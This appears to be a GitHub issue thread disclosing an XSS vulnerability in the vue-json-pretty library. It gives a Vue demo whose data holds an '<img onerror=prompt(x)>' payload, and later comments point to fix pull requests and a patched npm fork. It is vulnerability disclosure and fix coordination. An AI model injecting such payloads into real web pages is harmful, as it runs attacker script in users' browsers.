【Security】vue-json-pretty has xss vulnerability

My Local environment vue-json-pretty 1.8.2 it is vuejs library lastest

this is demo

<template>
  <div>
    <div>
      <vue-json-pretty :deep="3" :data="testdata" show-line="false" />
    </div>
  </div>
</template>

<script>
import VueJsonPretty from 'vue-json-pretty'
import 'vue-json-pretty/lib/styles.css'

export default {
  components: { VueJsonPretty },
  data() {
    return {
      testdata: '{ a: "\r\n<img/src=x onerror=prompt(x)>" }'
    }
  }
}

then you can see this

This problem also exists, but it does not exist by default, but you need to turn on use custom formatter

[souljorje]

@leezng please reopen this and close after https://github.com/leezng/vue-json-pretty/pull/163 & https://github.com/leezng/vue-json-pretty/pull/164 merge temporary published to npm with this fix: v2.x https://www.npmjs.com/package/@souljorje/vue-json-pretty v1.x https://www.npmjs.com/package/@souljorje/vue-json-pretty/v/1.8.4

[leezng]

@souljorje Thanks!